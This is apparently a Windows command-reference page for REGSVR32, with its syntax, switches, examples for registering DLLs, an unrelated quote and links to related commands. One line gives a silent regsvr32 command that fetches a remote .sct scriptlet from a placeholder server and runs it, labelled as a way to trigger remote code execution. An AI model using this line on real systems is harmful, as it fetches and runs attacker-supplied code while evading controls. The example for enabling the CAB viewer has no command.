Register or unregister a DLL.
Syntax REGSVR32 [/U] [/S] [/N] /I:[CommandLine] DLL_Name
Key /u Unregister Server. /s Silent, do not display dialogue boxes. /i Call DllInstall to register the DLL. (when used with /u, it calls dll uninstall.) /n Do not call DllRegisterServer, you must use this option with /i. CommandLine An optional command line for DllInstall /c Console output (old versions only).
Unregister (Disable) CAB file viewer:
REGSVR32 /u C:\Windows\System32\cabview.dll
Register (enable) CAB file viewer:
Register DAO 3.6 (Data Access Objects):
REGSVR32 "C:\Program Files\Common Files\Microsoft Shared\DAO\DAO360.DLL"
Using UnRegister to trigger remote code execution (undocumented)
REGSVR32 /s /n /u /i:https://server/file.sct scrobj.dll
“I was planning to go into architecture. But when I arrived, architecture was filled up. Acting was right next to it. So I signed up for acting instead” ~ Tom Selleck (on his college registration experience)
Delsrv - unregister a service with the Services Control Manager. (Win 2K ResKit)
MSIEXEC - Microsoft Windows Installer
RUNDLL32 - Run a DLL command
Q249873 - Regsvr32 usage and error messages